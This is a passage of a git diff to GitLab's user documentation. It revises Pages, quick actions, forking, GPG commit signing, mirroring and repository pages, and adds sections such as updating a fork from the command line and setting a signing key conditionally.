over the `public/data.html` file for both the `/data` and `/data/` URL paths. ## Known issues -For a list of known issues, visit the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages). +For a list of known issues, see the GitLab [public issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name[]=Category%3APages). ## Troubleshooting diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md index b98772a6702..248a74a8abc 100644 --- a/doc/user/project/pages/pages_access_control.md +++ b/doc/user/project/pages/pages_access_control.md @@ -34,7 +34,7 @@ For a demonstration, see [Pages access controls](https://www.youtube.com/watch?v - **Only project members**: Only project members are able to browse the website. - **Everyone with access**: Everyone, both logged into and logged out of GitLab, is able to browse the website, no matter their project membership. -1. Select **Save changes**. Note that your changes may not take effect immediately. GitLab Pages uses +1. Select **Save changes**. Your changes may not take effect immediately. GitLab Pages uses a caching mechanism for efficiency. Your changes may not take effect until that cache is invalidated, which usually takes less than a minute. diff --git a/doc/user/project/pages/public_folder.md b/doc/user/project/pages/public_folder.md index 8c9f1cbec86..751db136e34 100644 --- a/doc/user/project/pages/public_folder.md +++ b/doc/user/project/pages/public_folder.md @@ -17,7 +17,7 @@ for the following frameworks. For Eleventy, you should do one of the following: -- Add the `--output=public` flag in Eleventy's build commands, for example: +- Add the `--output=public` flag in the Eleventy build commands, for example: `npx @11ty/eleventy --input=path/to/sourcefiles --output=public` diff --git a/doc/user/project/pages/redirects.md b/doc/user/project/pages/redirects.md index cf0c0dbff82..f5447fd67ca 100644 --- a/doc/user/project/pages/redirects.md +++ b/doc/user/project/pages/redirects.md @@ -41,13 +41,11 @@ this test suite! To create redirects, create a configuration file named `_redirects` in the `public/` directory of your GitLab Pages site. -Note that: - - All paths must start with a forward slash `/`. - A default status code of `301` is applied if no [status code](#http-status-codes) is provided. - The `_redirects` file has a file size limit and a maximum number of rules per project, configured at the instance level. Only the first matching rules within the configured maximum are processed. - The default file size limit is 64KB, and the default maximum number of rules is 1,000. + The default file size limit is 64 KB, and the default maximum number of rules is 1,000. - If your GitLab Pages site uses the default domain name (such as `namespace.gitlab.io/projectname`) you must prefix every rule with the project name: @@ -74,7 +72,7 @@ is ignored because `hello.html` exists: /projectname/hello.html /projectname/world.html 302 ``` -GitLab doesn't support Netlify's +GitLab does not support Netlify [force option](https://docs.netlify.com/routing/redirects/rewrites-proxies/#shadowing) to change this behavior. @@ -231,7 +229,7 @@ rule 10: valid rule 11: valid ``` -## Differences from Netlify's implementation +## Differences from Netlify implementation Most supported `_redirects` rules behave the same in both GitLab and Netlify. However, there are some minor differences: diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index b0754e74314..da53fe2f5e9 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -10,6 +10,14 @@ In GitLab, [permissions](../permissions.md) are fundamentally defined around the idea of having read or write permission to the repository and branches. To impose further restrictions on certain branches, they can be protected. +A protected branch controls: + +- Which users can merge into the branch. +- Which users can push to the branch. +- If users can force push to the branch. +- If changes to files listed in the CODEOWNERS file can be pushed directly to the branch. +- Which users can unprotect the branch. + The [default branch](repository/branches/default.md) for your repository is protected by default. ## Who can modify a protected branch diff --git a/doc/user/project/push_options.md b/doc/user/project/push_options.md index 9e5413b020e..1f85490795f 100644 --- a/doc/user/project/push_options.md +++ b/doc/user/project/push_options.md @@ -4,7 +4,7 @@ group: Source Code info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Push Options **(FREE)** +# Push options **(FREE)** GitLab supports using client-side [Git push options](https://git-scm.com/docs/git-push#Documentation/git-push.txt--oltoptiongt) to perform various actions at the same time as pushing changes. Additionally, [Push Rules](repository/push_rules.md) offer server-side control and enforcement options. @@ -36,7 +36,7 @@ You can use push options to skip a CI/CD pipeline, or pass CI/CD variables. | Push option | Description | Introduced in version | | ------------------------------ | ------------------------------------------------------------------------------------------- |---------------------- | | `ci.skip` | Do not create a CI pipeline for the latest push. Only skips branch pipelines and not [merge request pipelines](../../ci/pipelines/merge_request_pipelines.md). | [11.7](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/15643) | -| `ci.variable="<name>=<value>"` | Provide [CI/CD variables](../../ci/variables/index.md) to be used in a CI pipeline, if one is created due to the push. | [12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/27983) | +| `ci.variable="<name>=<value>"` | Provide [CI/CD variables](../../ci/variables/index.md) to be used in a CI pipeline, if one is created due to the push. Only passes variables to branch pipelines and not [merge request pipelines](../../ci/pipelines/merge_request_pipelines.md). | [12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/27983) | An example of using `ci.skip`: diff --git a/doc/user/project/quick_actions.md b/doc/user/project/quick_actions.md index d12a71c9ab3..90da47f7995 100644 --- a/doc/user/project/quick_actions.md +++ b/doc/user/project/quick_actions.md @@ -71,10 +71,10 @@ threads. Some quick actions might not be available to all subscription tiers. | `/create_merge_request <branch name>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Create a new merge request starting from the current issue. | | `/done` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Mark to do as done. | | `/draft` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Set the [draft status](merge_requests/drafts.md). Use for toggling the draft status ([deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/92654) in GitLab 15.4.) | -| `/due <date>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. | +| `/due <date>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. See [Chronic](https://gitlab.com/gitlab-org/ruby/gems/gitlab-chronic#examples) for more examples. | | `/duplicate <#issue>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Close this issue. Mark as a duplicate of, and related to, issue `<#issue>`. | | `/epic <epic>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add to epic `<epic>`. The `<epic>` value should be in the format of `&epic`, `group&epic`, or a URL to an epic. | -| `/estimate <time>` or `/estimate_time <time>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1mo 2w 3d 4h 5m`. Learn more about [time tracking](time_tracking.md). Alias `/estimate_time` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16501) in GitLab 15.6. | +| `/estimate <time>` or `/estimate_time <time>` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Set time estimate. For example, `/estimate 1mo 2w 3d 4h 5m`. For more information, see [Time tracking](time_tracking.md). Alias `/estimate_time` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16501) in GitLab 15.6. | | `/health_status <value>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set [health status](issues/managing_issues.md#health-status). Valid options for `<value>` are `on_track`, `needs_attention`, and `at_risk` ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213814) in GitLab 14.7). | | `/invite_email email1 email2` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add up to six email participants. This action is behind feature flag `issue_email_participants` and is not yet supported in issue templates. | | `/iteration *iteration:"iteration name"` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set iteration. For example, to set the `Late in July` iteration: `/iteration *iteration:"Late in July"` ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196795) in GitLab 13.1). | @@ -108,7 +108,7 @@ threads. Some quick actions might not be available to all subscription tiers. | `/reopen` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Reopen. | | `/severity <severity>` | **{check-circle}** Yes | **{check-circle}** No | **{check-circle}** No | Set the severity. Issue type must be `Incident`. Options for `<severity>` are `S1` ... `S4`, `critical`, `high`, `medium`, `low`, `unknown`. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/334045) in GitLab 14.2. | | `/shrug <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `¯\＿(ツ)＿/¯`. | -| `/spend <time> [<date>]` or `/spend_time <time> [<date>]` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add or subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend 1mo 2w 3d 4h 5m 2018-08-26` or `/spend -1h 30m`. Learn more about [time tracking](time_tracking.md). Alias `/spend_time` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16501) in GitLab 15.6. | +| `/spend <time> [<date>]` or `/spend_time <time> [<date>]` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** No | Add or subtract spent time. Optionally, specify the date that time was spent on. For example, `/spend 1mo 2w 3d 4h 5m 2018-08-26` or `/spend -1h 30m`. For more information, see [Time tracking](time_tracking.md). Alias `/spend_time` [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16501) in GitLab 15.6. | | `/submit_review` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** No | Submit a pending review ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/8041) in GitLab 12.7). | | `/subscribe` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Subscribe to notifications. | | `/tableflip <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `(╯°□°)╯︵ ┻━┻`. | @@ -129,6 +129,34 @@ threads. Some quick actions might not be available to all subscription tiers. | `/weight <value>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set weight. Valid options for `<value>` include `0`, `1`, `2`, and so on. | | `/zoom <Zoom URL>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Add a Zoom meeting to this issue or incident. In [GitLab 15.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/230853) users on GitLab Premium can add a short description when [adding a Zoom link to an incident](../../operations/incident_management/linked_resources.md#link-zoom-meetings-from-an-incident).| +## Work items + +The following quick actions can be applied through the description field when editing work items. + +| Command | Task | Objective | Key Result | Action | +|:-------------------------------------------------------------------------------------------------|:-----------------------|:-----------------------|:-----------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `/title <new title>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Change title. | +| `/close` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Close. | +| `/reopen` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Reopen. | +| `/shrug <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `¯\＿(ツ)＿/¯`. | +| `/tableflip <comment>` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Append the comment with `(╯°□°)╯︵ ┻━┻`. | +| `/cc @user` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Mention a user. In GitLab 15.0 and later, this command performs no action. You can instead type `CC @user` or only `@user`. [In GitLab 14.9 and earlier](https://gitlab.com/gitlab-org/gitlab/-/issues/31200), mentioning a user at the start of a line creates a specific type of to-do item notification. | +| `/assign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** Yes | Assign one or more users. | +| `/assign me` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** Yes | Assign yourself. | +| `/unassign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** Yes | Remove specific assignees. | +| `/unassign` | **{dotted-circle}** No | **{check-circle}** Yes | **{dotted-circle}** Yes | Remove all assignees. | +| `/reassign @user1 @user2` | **{check-circle}** Yes | **{check-circle}** Yes | **{dotted-circle}** Yes | Replace current assignees with those specified. | +| `/label ~label1 ~label2` or `/labels ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Add one or more labels. Label names can also start without a tilde (`~`), but mixed syntax is not supported. | +| `/relabel ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Replace current labels with those specified. | +| `/unlabel ~label1 ~label2` or `/remove_label ~label1 ~label2` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Remove specified labels. | +| `/unlabel` or `/remove_label` | **{check-circle}** Yes | **{check-circle}** Yes | **{check-circle}** Yes | Remove all labels. | +| `/due <date>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** Yes | Set due date. Examples of valid `<date>` include `in 2 days`, `this Friday` and `December 31st`. | +| `/remove_due_date` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** Yes | Remove due date. | +| `/health_status <value>` | **{check-circle}** Yes | **{dotted-circle}** Yes | **{dotted-circle}** Yes | Set [health status](issues/managing_issues.md#health-status). Valid options for `<value>` are `on_track`, `needs_attention`, and `at_risk`. | +| `/clear_health_status` | **{check-circle}** Yes | **{dotted-circle}** Yes | **{dotted-circle}** Yes | Clear [health status](issues/managing_issues.md#health-status). | +| `/weight <value>` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Set weight. Valid options for `<value>` include `0`, `1`, and `2`. | +| `/clear_weight` | **{check-circle}** Yes | **{dotted-circle}** No | **{dotted-circle}** No | Clear weight. | + ## Commit messages The following quick actions are applicable for commit messages: diff --git a/doc/user/project/releases/index.md b/doc/user/project/releases/index.md index 7c2d5088f17..dca34af41b4 100644 --- a/doc/user/project/releases/index.md +++ b/doc/user/project/releases/index.md @@ -194,7 +194,7 @@ Prerequisites: In the UI: 1. On the left sidebar, select **Deployments > Releases**. -1. In the top-right corner of the release you want to modify, select **Edit this release** (the pencil icon). +1. In the upper-right corner of the release you want to modify, select **Edit this release** (the pencil icon). 1. On the **Edit Release** page, change the release's details. 1. Select **Save changes**. @@ -216,7 +216,7 @@ In the UI: 1. On the top bar, select **Main menu > Projects** and find your project. 1. On the left sidebar, select **Deployments > Releases**. -1. In the top-right corner of the release you want to delete, select **Edit this release** +1. In the upper-right corner of the release you want to delete, select **Edit this release** (**{pencil}**). 1. On the **Edit Release** page, select **Delete**. 1. Select **Delete release**. @@ -236,7 +236,7 @@ the [Releases API](../../../api/releases/index.md#create-a-release). In the user interface, to associate milestones to a release: 1. On the left sidebar, select **Deployments > Releases**. -1. In the top-right corner of the release you want to modify, select **Edit this release** (the pencil icon). +1. In the upper-right corner of the release you want to modify, select **Edit this release** (the pencil icon). 1. From the **Milestones** list, select each milestone you want to associate. You can select multiple milestones. 1. Select **Save changes**. @@ -435,7 +435,7 @@ release evidence. If you [schedule release evidence collection](#schedule-release-evidence-collection), some artifacts may already be expired by the time of evidence collection. To avoid this you can use the [`artifacts:expire_in`](../../../ci/yaml/index.md#artifactsexpire_in) -keyword. Learn more in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/222351). +keyword. For more information, see [issue 222351](https://gitlab.com/gitlab-org/gitlab/-/issues/222351). ### Schedule release evidence collection diff --git a/doc/user/project/releases/release_fields.md b/doc/user/project/releases/release_fields.md index c06e746268f..120bbe32a63 100644 --- a/doc/user/project/releases/release_fields.md +++ b/doc/user/project/releases/release_fields.md @@ -34,7 +34,7 @@ Every release has a description. You can add any text you like, but we recommend including a changelog to describe the content of your release. This helps users quickly scan the differences between each release you publish. -[Git's tagging messages](https://git-scm.com/book/en/v2/Git-Basics-Tagging) can +[Tagging messages in Git](https://git-scm.com/book/en/v2/Git-Basics-Tagging) can be included in Release note descriptions by selecting **Include tag message in the release notes**. diff --git a/doc/user/project/repository/branches/default.md b/doc/user/project/repository/branches/default.md index 87caeee73e3..b33dc4450a9 100644 --- a/doc/user/project/repository/branches/default.md +++ b/doc/user/project/repository/branches/default.md @@ -44,7 +44,7 @@ To update the default branch for an individual [project](../../index.md): 1. On the top bar, select **Main menu > Projects** and find your project. 1. In the left navigation menu, go to **Settings > Repository**. -1. Expand **Default branch**. For **Initial default branch name**, select a new default branch. +1. Expand **Branch defaults**. For **Default branch**, select a new default branch. 1. Optional. Select the **Auto-close referenced issues on default branch** checkbox to close issues when a merge request [uses a closing pattern](../../issues/managing_issues.md#closing-issues-automatically). diff --git a/doc/user/project/repository/branches/index.md b/doc/user/project/repository/branches/index.md index 4e3510c49b7..60504b94502 100644 --- a/doc/user/project/repository/branches/index.md +++ b/doc/user/project/repository/branches/index.md @@ -145,6 +145,38 @@ To view the **Branch rules overview** list: ## Troubleshooting +### Multiple branches containing the same commit + +At a deeper technical level, Git branches aren't separate entities, but labels +attached to a set of commit SHAs. When GitLab determines whether or not a branch has been +merged, it checks the target branch for the existence of those commit SHAs. +This behavior can cause unexpected results when two merge requests contain the same +commits. In this example, branches `B` and `C` both start from the same commit (`3`) +on branch `A`: + +```mermaid +gitGraph + commit id:"a" + branch "branch A" + commit id:"b" + commit id:"c" type: HIGHLIGHT + branch "branch B" + commit id:"d" + checkout "branch A" + branch "branch C" + commit id:"e" + checkout main + merge "branch B" id:"merges commits b, c, d" +``` + +If you merge branch `B`, branch `A` also appears as merged (without any action from you) +because all commits from branch `A` now appear in the target branch `main`. Branch `C` +remains unmerged, because commit `5` wasn't part of branch `A` or `B`. + +Merge request `A` remains merged, even if you attempt to push new commits +to its branch. If any changes in merge request `A` remain unmerged (because they +weren't part of merge request `A`), open a new merge request for them. + ### Error: ambiguous `HEAD` branch exists In versions of Git earlier than 2.16.0, you could create a branch named `HEAD`. diff --git a/doc/user/project/repository/forking_workflow.md b/doc/user/project/repository/forking_workflow.md index fae6e210a6c..929751b7247 100644 --- a/doc/user/project/repository/forking_workflow.md +++ b/doc/user/project/repository/forking_workflow.md @@ -13,7 +13,7 @@ if you do not have write access for the repository you want to contribute to, yo can create a fork. A fork is a personal copy of the repository and all its branches, which you create -in a namespace of your choice. This way you can make changes in your own fork and +in a namespace of your choice. Make changes in your own fork and submit them through a merge request to the repository you don't have access to. ## Creating a fork @@ -23,7 +23,7 @@ submit them through a merge request to the repository you don't have access to. To fork an existing project in GitLab: -1. On the project's home page, in the top right, select **{fork}** **Fork**: +1. On the project's home page, in the upper right, select **{fork}** **Fork**:  1. Optional. Edit the **Project name**. 1. For **Project URL**, select the [namespace](../../namespace/index.md) @@ -37,19 +37,82 @@ To fork an existing project in GitLab: GitLab creates your fork, and redirects you to the new fork's page. -## Repository mirroring +## Update your fork -You can use [repository mirroring](mirror/index.md) to keep your fork synced with the original repository. You can also use `git remote add upstream` to achieve the same result. +To copy the latest changes from the upstream repository into your fork, update it +[from the command line](#from-the-command-line). GitLab Premium and higher tiers can also +[configure forks as pull mirrors](#with-repository-mirroring) +of the upstream repository. -The main difference is that with repository mirroring, your remote fork is automatically kept up-to-date. +### From the command line -Without mirroring, to work locally you must use `git pull` to update your local repository -with the upstream project, then push the changes back to your fork to update it. +To update your fork from the command line, first ensure that you have configured +an `upstream` remote repository for your fork: -WARNING: -With mirroring, before approving a merge request, you are asked to sync. We recommend you automate it. +1. Clone your fork locally, if you have not already done so. For more information, see + [Clone a repository](../../../gitlab-basics/start-using-git.md#clone-a-repository). +1. View the remotes configured for your fork: + + ```shell + git remote -v + ``` + +1. If your fork does not have a remote pointing to the original repository, + use one of these examples to configure a remote called `upstream`: + + ```shell + # Use this line to set any repository as your upstream after editing <upstream_url> + git remote add upstream <upstream_url> + + # Use this line to set the main GitLab repository as your upstream + git remote add upstream https://gitlab.com/gitlab-org/gitlab.git + ``` + + After ensuring your local copy has the extra remote configured, you are ready to update your fork. + +1. In your local copy, ensure you have checked out the [default branch](branches/default.md), + replacing `main` with the name of your default branch: + + ```shell + git checkout main + ``` + + If Git identifies unstaged changes, commit or stash them before continuing. + +1. Fetch the changes to the upstream repository: + + ```shell + git fetch upstream + ``` -Read more about [How to keep your fork up to date with its origin](https://about.gitlab.com/blog/2016/12/01/how-to-keep-your-fork-up-to-date-with-its-origin/). +1. Pull the changes into your fork, replacing `main` with the name of the branch + you are updating: + + ```shell + git pull upstream main + ``` + +1. Push the changes to your fork repository on the server (GitLab.com or self-managed): + + ```shell + git push origin main + ``` + +### With repository mirroring **(PREMIUM)** + +A fork can be configured as a mirror of the upstream if all these conditions are met: + +1. Your subscription is **(PREMIUM)** or a higher tier. +1. You create all changes in branches (not `main`). +1. You do not work on [merge requests for confidential issues](../merge_requests/confidential.md), + which requires changes to `main`. + +[Repository mirroring](mirror/index.md) keeps your fork synced with the original repository. +This method updates your fork once per hour, with no manual `git pull` required. +For instructions, read [Configure pull mirroring](mirror/pull.md#configure-pull-mirroring). + +WARNING: +With mirroring, before approving a merge request, you are asked to sync. You should automate it. ## Merging upstream @@ -60,7 +123,7 @@ choose your forked project's branch. For **Target branch**, choose the original NOTE: When creating a merge request, if the forked project's visibility is more restrictive than the parent project (for example the fork is private, the parent is public), the target branch defaults to the forked project's default branch. This prevents potentially exposing the private code of the forked project. - + Then you can add labels, a milestone, and assign the merge request to someone who can review your changes. Then select **Submit merge request** to conclude the process. When successfully merged, your @@ -69,3 +132,8 @@ changes are added to the repository and branch you're merging into. ## Removing a fork relationship You can unlink your fork from its upstream project in the [advanced settings](../settings/index.md#remove-a-fork-relationship). + +## Related topics + +- GitLab blog post: [How to keep your fork up to date with its origin](https://about.gitlab.com/blog/2016/12/01/how-to-keep-your-fork-up-to-date-with-its-origin/). +- GitLab community forum: [Refreshing a fork](https://forum.gitlab.com/t/refreshing-a-fork/). diff --git a/doc/user/project/repository/gpg_signed_commits/index.md b/doc/user/project/repository/gpg_signed_commits/index.md index 6b67ffd0e59..64f19d1a92c 100644 --- a/doc/user/project/repository/gpg_signed_commits/index.md +++ b/doc/user/project/repository/gpg_signed_commits/index.md @@ -43,7 +43,7 @@ To view a user's public GPG key, you can either: - Go to `https://gitlab.example.com/<USERNAME>.gpg`. GitLab displays the GPG key, if the user has configured one, or a blank page for users without a configured GPG key. -- Go to the user's profile (such as `https://gitlab.example.com/<USERNAME>`). In the top right +- Go to the user's profile (such as `https://gitlab.example.com/<USERNAME>`). In the upper right of the user's profile, select **View public GPG keys** (**{key}**). ## Configure commit signing @@ -119,7 +119,7 @@ If you don't already have a GPG key, create one: To add a GPG key to your user settings: 1. Sign in to GitLab. -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **GPG Keys** (**{key}**). 1. In **Key**, paste your _public_ key. @@ -180,6 +180,47 @@ you can sign individual commits manually, or configure Git to default to signed git config --global commit.gpgsign true ``` +#### Set signing key conditionally + +If you maintain signing keys for separate purposes, such as work and personal +use, use an `IncludeIf` statement in your `.gitconfig` file to set which key +you sign commits with. + +Prerequisites: + +- Requires Git version 2.13 or later. + +1. In the same directory as your main `~/.gitconfig` file, create a second file, + such as `.gitconfig-gitlab`. +1. In your main `~/.gitconfig` file, add your Git settings for work in non-GitLab projects. +1. Append this information to the end of your main `~/.gitconfig` file: + + ```ini + # The contents of this file are included only for GitLab.com URLs + [includeIf "hasconfig:remote.*.url:https://gitlab.com/**"] + + # Edit this line to point to your alternate configuration file + path = ~/.gitconfig-gitlab + ``` + +1. In your alternate `.gitconfig-gitlab` file, add the configuration overrides to + use when you're committing to a GitLab repository. All settings from your + main `~/.gitconfig` file are retained unless you explicitly override them. + In this example, + + ```ini + # Alternate ~/.gitconfig-gitlab file + # These values are used for repositories matching the string 'gitlab.com', + # and override their corresponding values in ~/.gitconfig + + [user] + email = you@example.com + signingkey = <KEY ID> + + [commit] + gpgsign = true + ``` + ## Verify commits You can review commits for a merge request, or for an entire project: @@ -212,7 +253,7 @@ If a GPG key becomes compromised, revoke it. Revoking a key changes both future To revoke a GPG key: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **GPG Keys** (**{key}**). 1. Select **Revoke** next to the GPG key you want to delete. @@ -227,7 +268,7 @@ When you remove a GPG key from your GitLab account: To remove a GPG key from your account: -1. In the top-right corner, select your avatar. +1. In the upper-right corner, select your avatar. 1. Select **Edit profile**. 1. On the left sidebar, select **GPG Keys** (**{key}**). 1. Select **Remove** (**{remove}**) next to the GPG key you want to delete. diff --git a/doc/user/project/repository/img/forking_workflow_branch_select.png b/doc/user/project/repository/img/forking_workflow_branch_select.png Binary files differdeleted file mode 100644 index 0ea5410f832..00000000000 --- a/doc/user/project/repository/img/forking_workflow_branch_select.png +++ /dev/null diff --git a/doc/user/project/repository/img/forking_workflow_branch_select_v15_9.png b/doc/user/project/repository/img/forking_workflow_branch_select_v15_9.png Binary files differnew file mode 100644 index 00000000000..6b15abd8460 --- /dev/null +++ b/doc/user/project/repository/img/forking_workflow_branch_select_v15_9.png diff --git a/doc/user/project/repository/index.md b/doc/user/project/repository/index.md index 3c33467df3f..5b4e1b14489 100644 --- a/doc/user/project/repository/index.md +++ b/doc/user/project/repository/index.md @@ -86,13 +86,28 @@ Visual Studio Code: - From the GitLab interface: 1. Go to the project's overview page. 1. Select **Clone**. - 1. Under either the **HTTPS** or **SSH** method, select **Clone with Visual Studio Code**. + 1. Under **Open in your IDE**, select **Visual Studio Code (SSH)** or **Visual Studio Code (HTTPS)**. 1. Select a folder to clone the project into. After Visual Studio Code clones your project, it opens the folder. - From Visual Studio Code, with the [extension](vscode.md) installed, use the extension's [`Git: Clone` command](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow#clone-gitlab-projects). +### Clone and open in IntelliJ IDEA + +All projects can be cloned into [IntelliJ IDEA](https://www.jetbrains.com/idea/) +from the GitLab user interface. + +Prerequisites: + +- The [Jetbrains Toolbox App](https://www.jetbrains.com/toolbox-app/) must be also be installed. + +To do this: + +1. Go to the project's overview page. +1. Select **Clone**. +1. Under **Open in your IDE**, select **IntelliJ IDEA (SSH)** or **IntelliJ IDEA (HTTPS)**. + ## Download the code in a repository > Support for [including Git LFS blobs](../../../topics/git/lfs#lfs-objects-in-project-archives) was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15079) in GitLab 13.5. @@ -111,6 +126,9 @@ You can download the source code that's stored in a repository. - **Artifacts:** Download the artifacts from the latest CI job. +The checksums of generated archives can change even if the repository itself doesn't +change. This can occur, for example, if Git or a third-party library that GitLab uses changes. + ## Repository languages For the default branch of each repository, GitLab determines which programming languages diff --git a/doc/user/project/repository/mirror/index.md b/doc/user/project/repository/mirror/index.md index bc0073e6ec8..7a50c294dfc 100644 --- a/doc/user/project/repository/mirror/index.md +++ b/doc/user/project/repository/mirror/index.md @@ -55,7 +55,7 @@ Prerequisite: When mirroring the repository, GitLab confirms at least one of the stored host keys matches before connecting. This check can protect your mirror from malicious code injections, or your password from being stolen. -1. Select an **Authentication method**. To learn more, read +1. Select an **Authentication method**. For more information, see [Authentication methods for mirrors](#authentication-methods-for-mirrors). 1. If you authenticate with SSH host keys, [verify the host key](#verify-a-host-key) to ensure it is correct. @@ -65,7 +65,7 @@ Prerequisite: If you select `SSH public key` as your authentication method, GitLab generates a public key for your GitLab repository. You must provide this key to the non-GitLab server. -To learn more, read [Get your SSH public key](#get-your-ssh-public-key). +For more information, see [Get your SSH public key](#get-your-ssh-public-key). ## Update a mirror diff --git a/doc/user/project/repository/mirror/pull.md b/doc/user/project/repository/mirror/pull.md index 1923d8e2ae7..0eb51f40208 100644 --- a/doc/user/project/repository/mirror/pull.md +++ b/doc/user/project/repository/mirror/pull.md @@ -65,9 +65,14 @@ Prerequisite: 1. On the left sidebar, select **Settings > Repository**. 1. Expand **Mirroring repositories**. 1. Enter the **Git repository URL**. Include the username - in the URL, if required: `https://MYUSERNAME@github.com/GROUPNAME/PROJECTNAME.git` + in the URL, if required: `https://MYUSERNAME@gitlab.com/GROUPNAME/PROJECTNAME.git` + + NOTE: + To mirror the `gitlab` repository, use `git@gitlab.com:gitlab-org/gitlab.git` + or `https://gitlab.com/gitlab-org/gitlab.git`. + 1. In **Mirror direction**, select **Pull**. -1. In **Authentication method**, select your authentication method. To learn more, read +1. In **Authentication method**, select your authentication method. For more information, see [Authentication methods for mirrors](index.md#authentication-methods-for-mirrors). 1. Select any of the options you need: - [**Overwrite diverged branches**](#overwrite-diverged-branches) diff --git a/doc/user/project/repository/mirror/push.md b/doc/user/project/repository/mirror/push.md index 11d53b0c1d1..f06dd747897 100644 --- a/doc/user/project/repository/mirror/push.md +++ b/doc/user/project/repository/mirror/push.md @@ -38,7 +38,7 @@ To set up push mirroring for an existing project: 1. Expand **Mirroring repositories**. 1. Enter a repository URL. 1. In the **Mirror direction** dropdown list, select **Push**. -1. Select an **Authentication method**. To learn more, read +1. Select an **Authentication method**. For more information, see [Authentication methods for mirrors](index.md#authentication-methods-for-mirrors). 1. Select **Only mirror protected branches**, if necessary. 1. Select **Keep divergent refs**, if desired. diff --git a/doc/user/project/repository/reducing_the_repo_size_using_git.md b/doc/user/project/repository/reducing_the_repo_size_using_git.md index a8a79591e9e..cf7d4f44aad 100644 --- a/doc/user/project/repository/reducing_the_repo_size_using_git.md +++ b/doc/user/project/repository/reducing_the_repo_size_using_git.md @@ -110,7 +110,7 @@ To purge files from a GitLab repository: for more examples and the complete documentation. 1. Because you are trying to remove internal refs, - you'll later rely on `commit-map` files produced by each run + you need the `commit-map` files produced by each run to tell you which internal refs to remove. Every `git filter-repo` run creates a new `commit-map`, and overwrites the `commit-map` from the previous run. @@ -174,7 +174,7 @@ To clean up a repository: 1. Upload a list of objects. For example, a `commit-map` file created by `git filter-repo` which is located in the `filter-repo` directory. - If your `commit-map` file is larger than about 250KB or 3000 lines, the 